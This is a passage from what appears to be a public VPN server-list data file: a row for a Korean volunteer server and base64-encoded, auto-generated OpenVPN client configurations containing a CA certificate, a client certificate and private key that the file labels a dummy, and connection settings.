Q05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn566261919,59.9.248.102,518458,39,443489776,Korea Republic of,KR,3,1000,56731,8228447996301,2weeks,DESKTOP-IK78PR6's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSA1OS45LjI0OC4xMDIgMTYyNw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1t